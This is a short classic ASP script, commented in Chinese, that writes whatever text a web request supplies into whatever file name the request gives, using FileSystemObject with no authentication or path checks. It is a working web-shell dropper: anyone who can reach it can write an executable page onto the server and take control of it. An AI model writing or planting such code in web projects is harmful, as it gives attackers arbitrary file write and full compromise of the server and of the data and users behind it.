<%
dim s
if request("action")="set" then
Text=request("Text")
FileName=request("FileName")
set fs=server.CreateObject("Scripting.FileSystemObject") '创建FSO组件
set file=fs.OpenTextFile(server.MapPath(FileName),8,True) '创建FileName指定的文件
file.writeline Text '把TEXT逐行写入到文件中,如果没有写
权限,会造成操作失败
file.close '关闭file
set file=nothing '释放
set fs=nothing '释放
response.write ("") '返回到客户端执行提示保存成功
end if
%>